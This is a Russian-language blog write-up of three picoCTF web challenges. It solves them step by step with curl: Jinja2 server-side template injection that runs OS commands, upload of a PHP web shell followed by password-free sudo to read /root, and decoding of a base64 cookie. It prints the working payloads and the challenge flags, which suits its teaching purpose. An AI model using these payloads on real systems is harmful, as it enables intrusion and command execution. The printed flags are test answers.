🔍 Что такое CTF?
CTF (Capture The Flag) — это соревнования по кибербезопасности, где участники решают задачи, чтобы найти "флаг" — специальную строку, подтверждающую успешное выполнение задания. Флаги приносят очки, и побеждает команда или участник с наибольшим количеством очков.
🌐 Задачи на Web Exploitation
Задачи этого типа связаны с поиском и использованием уязвимостей в веб-приложениях. Примеры:
- SQL-инъекции — внедрение вредоносных SQL-запросов для доступа к базе данных.
- XSS (Cross-Site Scripting) — выполнение вредоносного JavaScript в браузере жертвы.
- LFI/RFI (Local/Remote File Inclusion) — включение локальных или удалённых файлов.
- Brute-force — подбор паролей, токенов или других секретов.
- Bypass Authentication — обход механизмов аутентификации.
- SSTI (Server-Side Template Injection) — внедрение кода в шаблонизаторы на сервере.
- Уязвимости загрузчиков файлов — загрузка вредоносных файлов, обход фильтров, выполнение загруженного кода или просмотр файлов на сервере.
Сегодня рассмотрим простые задачи на SSTI и Уязвимости загрузчиков файлов.
Подписывайтесь на мой канал в Телеграмм, чтобы ничего не пропустить.
Ну или на канал в VK, если хотите видеть новые статьи у себя в ленте.
Итак, 1 задача (ссылка на задачу):
SSTI1
Author: Venax
Description
I made a cool website where you can announce whatever you want! Try it out!
Additional details will be available after launching your challenge instance.
На русском это будет:
Автор: Venax
Описание:
Я сделал классный сайт, где ты можешь публиковать всё, что захочешь! Попробуй!
Дополнительные детали будут доступны после запуска экземпляра задания
После клика на кнопку:
Получаем ссылку на уязвимый веб ресурс: http://rescued-float.picoctf.net:59462 (ссылка действительна 15 минут после нажатия на кнопку, при повторном лаунче - меняется порт).
Отлично! Судя по описанию — задание связано с шаблонизацией (templating). Это может намекать на уязвимость, связанную с Server-Side Template Injection (SSTI) — внедрение кода в шаблон, который обрабатывается на сервере.
Итак, мы договорились решать задачу исключительно через терминал (на сайте picoCTF) как раз имеется то, что нам нужно.
1. Выполняем в терминале:
curl http://rescued-float.picoctf.net:59462/
запрос отдает нам html следующего содержания:
<!doctype html>
<title>SSTI1</title>
<h1> Home </h1>
<p> I built a cool website that lets you announce whatever you want!* </p>
<form action="/" method="POST">
What do you want to announce: <input name="content" id="announce"> <button type="submit"> Ok </button>
</form>
<p style="font-size:10px;position:fixed;bottom:10px;left:10px;"> *Announcements may only reach yourself </p>
Обратим внимание, что HTML-страница содержит форму:
Это значит, что ты можешь отправить POST-запрос с параметром content, и сервер отобразит его где-то на странице.
Чаще всего используется шаблонизатор jinja2 (библиотека на Python для генерации шаблонов), уязвимость в ней мы и попробуем использовать.
Итак, следующее что нам нужно сделать, это проверить, обрабатывает ли сервер шаблонные конструкции, такие как {{7*7}}. Если да — это SSTI, и мы сможем использовать её для получения флага.
2. Выполняем следующую команду:
curl -X POST http://rescued-float.picoctf.net:59462/ -d "content={{7*7}}"
Получаю следующий ответ:
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/announce">/announce</a>. If not, click the link.
Это значит, что сервер принял наш POST-запрос и перенаправляет на /announce, где, скорее всего, отображается результат твоего ввода.
Попробуем снова отправить POST на /, как раньше, но с флагом -L, чтобы curl автоматически следовал за редиректом:
curl -L -X POST http://rescued-float.picoctf.net:59462/ -d "content={{7*7}}"
🔁 -L = follow redirect
В этот раз видим:
<!doctype html>
<h1 style="font-size:100px;" align="center">49</h1>
Отлично! Мы подтвердили, что на сайте есть уязвимость SSTI (Server-Side Template Injection) — выражение {{7*7}} успешно выполнилось, и сервер вывел 49. Это значит, что мы можем использовать шаблонный движок для выполнения более сложных операций — в том числе, чтобы получить флаг! 🚩
Так как, задача относится к категории простых, давайте сразу в лоб попробуем получить самую полезную нагрузку Jinja2.
{{ cycler.__init__.__globals__.os }}
Используя её можно получить доступ к объекту os. Развиваем идею, os.getcwd() позволит нам определить текущее положение
3. Выполним:
curl -L -X POST http://rescued-float.picoctf.net:59462/ -d "content={{ cycler.init.globals.os.getcwd() }}"
Получаем:
<!doctype html>
<h1 style="font-size:100px;" align="center">/challenge</h1>
Это огромный прогресс!
Мы только что подтвердили, что:
✅ cycler.__init__.__globals__.os работает
✅ Ты можешь вызывать функции из модуля os
✅ Текущая директория: /challenge
4. Приступим к эксплуатации - получим файлы в этой директории:
curl -L -X POST http://rescued-float.picoctf.net:59462/ -d "content={{ cycler.init.globals.os.popen('ls').read() }}"
Сервер возвращает нам:
<!doctype html>
<h1 style="font-size:100px;" align="center">
__pycache__
app.py
flag
requirements.txt
</h1>
🎉 Отличные новости! Мы только что получили список файлов в директории /challenge и среди них есть flag.
А это как раз то, что мы искали.
5. Прочитаем флаг, чтобы решить задачу:
curl -L -X POST http://rescued-float.picoctf.59462/ -d "content={{ cycler.init.globals.os.popen('cat flag').read() }}"
и получаем:
<!doctype html>
<h1 style="font-size:100px;" align="center">picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_eb0c6390}</h1>
🎉🎉🎉 Поздравляю! Мы успешно прошли задачу и добыли флаг! 🚩
Вот он:
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_eb0c6390}
Решим 2ю задачу (ссылка на задачу):
n0s4n1ty 1
Author: Prince Niyonshuti N.
Description
A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.
Additional details will be available after launching your challenge instance.
На русском это будет:
Название: n0s4n1ty 1
Автор: Принс Нийоншути Н.
Описание:
Разработчик добавил на сайт возможность загружать изображение профиля. Однако реализация этой функции содержит уязвимость, и это твой шанс.
Твоя миссия, если ты решишь её принять, — перейти на указанную веб-страницу и найти область загрузки файлов.
Твоя конечная цель — найти скрытый флаг, который находится в директории /root.
Дополнительные детали появятся после запуска экземпляра задания.
Итак, нажимаем на Launch Instance и получаем ссылку на ресурс:
http://standard-pizzas.picoctf.net:55533/
1. Будем решать используя терминал, поэтому уже по имеющейся у нас привычке запрашиваем ресурс по curl:
curl http://standard-pizzas.picoctf.net:55533/
Получаем ответ:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>No Sanity : upload the profile picture</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body>
<div class="flex items-center justify-center min-h-screen bg-gray-100">
<form action="upload.php" method="post" enctype="multipart/form-data" class="p-6 bg-white rounded-lg shadow-md">
<div class="flex items-center space-x-6">
<div class="shrink-0">
<img id="preview_img" class="h-16 w-16 object-cover rounded-full" src="https://lh3.googleusercontent.com/a-/AFdZucpC_6WFBIfaAbPHBwGM9z8SxyM1oV4wB4Ngwp_UyQ=s96-c" alt="Current profile photo" />
</div>
<label class="block">
<span class="sr-only">Choose profile photo</span>
<input type="file" onchange="loadFile(event)" class="block w-full text-sm text-slate-500
file:mr-4 file:py-2 file:px-4
file:rounded-full file:border-0
file:text-sm file:font-semibold
file:bg-violet-50 file:text-violet-700
hover:file:bg-violet-100
" name="fileToUpload" id="fileToUpload"/>
</label>
</div>
<button type="submit" value="Upload File" name="submit" class="mt-4 px-4 py-2 bg-blue-500 text-white rounded hover:bg-blue-700">
Upload Profile
</button>
</form>
</div>
<script>
var loadFile = function(event) {
var input = event.target;
var file = input.files[0];
var type = file.type;
var output = document.getElementById('preview_img');
output.src = URL.createObjectURL(event.target.files[0]);
output.onload = function() {
URL.revokeObjectURL(output.src) // free memory
}
};
</script>
</body>
</html>
Что это нам дает?
📌 Что мы видим:
- Форма отправляется на: upload.php
Это значит, что файл будет отправлен POST-запросом на http://standard-pizzas.picoctf.net:55533/upload.php - Поле загрузки файла:
- Тип формы: enctype="multipart/form-data" — это правильно для загрузки файлов.
- Кнопка отправки:
🧠 Что это значит для нас:
Ты можешь использовать curl или браузер, чтобы загрузить файл на сервер.
Если сервер не фильтрует расширения или содержимое, можно попробовать загрузить вредоносный PHP-файл.
Наш план:
Создадим простой shell.php (веб оболочку терминала) со следующим содержимым:
<?php system($_GET['cmd']); ?>
Если удастся загрузить такой файл и открыть его в браузере, ты сможешь выполнять команды на сервере, например (сейчас адрес умышленно указан не тот который в задании):
http://example.com/uploads/shell.php?cmd=ls
Итак, действуем.
2. Создаем файл shell.php с нужным содержимым:
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
Обрати внимание: перед $ стоит обратный слэш \, чтобы он не интерпретировался в терминале.
3. Отправляем файл через curl:
curl -F "fileToUpload=@shell.php" -F "submit=Upload" http://standard-pizzas.picoctf.net:55533/upload.php
Получаем ответ:
The file shell.php has been uploaded Path: uploads/shell.php
Отличные новости! 🎉 Мы успешно загрузили файл, и сервер даже сообщил путь:
Path: uploads/shell.php
4. Следующий шаг — выполнить команду через web shell:
curl "http://standard-pizzas.picoctf.net:55533/uploads/shell.php?cmd=ls"
ответ:
shell.php
🎉 Это значит, что твой web shell работает, и ты успешно выполнил команду ls на сервере. Файл shell.php действительно находится в папке uploads.
Исходя из описания задачи нужный нам файл находится в папке /root.
Поэтому нам нужно выполнить 2 команды - переместиться в папку /root и проверить что искомый файл там действительно есть.
В терминале это что-то типа:
cd /root && ls
Правда так как это будет частью url адреса, некоторые символы нам нужно будет закодировать:
пробел - это %20
& - это %26
5. Выполним эту команду:
curl "http://standard-pizzas.picoctf.net:55533/uploads/shell.php?cmd=cd%20/root%20%26%26%20ls"
К сожалению ничего не получаем в ответ. (точнее получаем пустой вывод).
Почему это может быть? Возможно у нас нет прав?
6. Давайте проверим от какого пользователя запускаются команды?
curl "http://standard-pizzas.picoctf.net:55533/uploads/shell.php?cmd=whoami"
Получаем:
www-data
Ответ www-data говорит о том, что наш shell.php выполняется от имени веб-сервера, а не от имени root.
😕 Почему это важно?
Пользователь www-data не имеет доступа к директории /root, поэтому мы и не можем посмотреть, что там находится.
7. 🔍 Что можно сделать дальше? Проверить, есть ли sudo и что можно запускать.
sudo (от superuser do) — это команда в Unix-подобных системах, которая позволяет выполнять команды от имени администратора (суперпользователя). Она временно даёт обычному пользователю повышенные привилегии, если у него есть на это разрешение.
Выполняем:
curl "http://standard-pizzas.picoctf.net:55533/uploads/shell.php?cmd=sudo%20-l"
Получаем:
Matching Defaults entries for www-data on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on challenge:
(ALL) NOPASSWD: ALL
🔥 Что мы только что узнали:
User www-data may run the following commands on challenge:
(ALL) NOPASSWD: ALL
Это значит, что пользователь www-data может запускать любые команды с sudo без пароля!
А значит — ты можешь стать root прямо сейчас! 🚀
8. Кажется остальное дело техники. Выполняем:
curl "http://standard-pizzas.picoctf.net:55533/uploads/shell.php?cmd=sudo%20ls%20/root"
получаем:
flag.txt
9. Читаем флаг чтобы решить задачу:
curl "http://standard-pizzas.picoctf.net:55533/uploads/shell.php?cmd=sudo%20cat%20/root/flag.txt"
Получаем:
picoCTF{wh47_c4n_u_d0_wPHP_5f894f6c}
🎉 УРААА! ПОЗДРАВЛЯЮ! 🎉
Мы успешно прошли задание и получили флаг! 🏁🏆
Мы проделали отличную работу:
✅ Нашли уязвимость в загрузке файлов
✅ Загрузили web shell
✅ Получили удалённый доступ
✅ Проверили права
✅ Обнаружили sudo без пароля
✅ И — добрались до /root/flag.txt как настоящий хакер! 😎
Удачи в следующих битвах за флаг! 🏴☠️💻
Решим 3ю задачу (теперь на куки - ссылка на задачу)
Cookie Monster Secret Recipe
Author: Brhane Giday and Prince Niyonshuti N.
Description
Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?You can access the Cookie Monster here and good luck
на русском это:
Cookie Monster (Монстр Печенек) спрятал свой сверхсекретный рецепт печенья где-то на своём сайте. Как начинающий детектив по печенькам, твоя миссия — раскрыть этот вкуснейший секрет. Сможешь ли ты перехитрить Cookie Monster'а и найти спрятанный рецепт?
Ты можешь получить доступ к сайту Cookie Monster по этой ссылке:
http://verbal-sleep.picoctf.net:49480/
1. Получаем ресурс по curl
curl http://verbal-sleep.picoctf.net:49480/
получаем следующую страницу:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cookie Monster's Secret Recipe</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; margin-top: 50px; }
form { display: inline-block; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
</style>
</head>
<body>
<h1>Cookie Monster's Secret Recipe</h1>
<form action="login.php" method="post">
<input type="text" name="username" placeholder="Username" required><br><br>
<input type="password" name="password" placeholder="Password" required><br><br>
<input type="submit" value="Login">
</form>
</body>
Итак, эта форма авторизации.
2. Пробуем авторизоваться как (логин) admin / (пароль) admin
curl -X POST http://verbal-sleep.picoctf.net:49480/login.php \
> -d "username=admin&password=admin"
Ожидаемо нам в авторизации отказано.
<h1>Access Denied</h1><p>Cookie Monster says: 'Me no need password. Me just need cookies!'</p><p>Hint: Have you checked your cookies lately?</p><a href='/'>Go back
Но зато видим подсказку:
Сайт не использует логин/пароль, а проверяет наличие или значение cookie! То есть, чтобы получить доступ, тебе нужно установить правильную cookie, а не вводить логин.
3. Отправим запрос на авторизацию повторно, но с флагом -v (подробный вывод ответа)
curl -X POST http://verbal-sleep.picoctf.net:49480/login.php \
> -d "username=admin&password=admin" -v
Получаем:
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 3.138.217.147:49480...
* Connected to verbal-sleep.picoctf.net (3.138.217.147) port 49480 (#0)
> POST /login.php HTTP/1.1
> Host: verbal-sleep.picoctf.net:49480
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Aug 2025 13:27:42 GMT
< Server: Apache/2.4.54 (Debian)
< X-Powered-By: PHP/7.4.33
* Added cookie secret_recipe="cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ%3D%3D" for domain verbal-sleep.picoctf.net, path /, expire 1754922462
< Set-Cookie: secret_recipe=cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ%3D%3D; expires=Mon, 11-Aug-2025 14:27:42 GMT; Max-Age=3600; path=/
< Vary: Accept-Encoding
< Content-Length: 167
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host verbal-sleep.picoctf.net left intact
<h1>Access Denied</h1><p>Cookie Monster says: 'Me no need password. Me just need cookies!'</p><p>Hint: Have you checked your cookies lately?</p><a href='/'>Go back
Смотрим куки и видим подсказку:
secret_recipe=cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ%3D%3D
Это выглядит как Base64-закодированная строка, но ещё и URL-кодированная (все %3D — это =).
4. Сначала декодируем URL (заменим %3D на =) - получаем:
cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ==
Теперь это — обычная Base64-строка.
5. Декодируем Base64 в терминале:
echo "cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0FDOEZDRDc1fQ==" | base64 -d
получаем результат:
picoCTF{c00k1e_m0nster_l0ves_c00kies_AC8FCD75}
Задача решена!
Если Вам интересно, что еще можно найти на канале QA Helper, прочитайте статью: Вместо оглавления. Что вы найдете на канале QA Helper - справочник тестировщика?
Не забудьте подписаться на канал, чтобы не пропустить полезную информацию: QA Helper - справочник тестировщика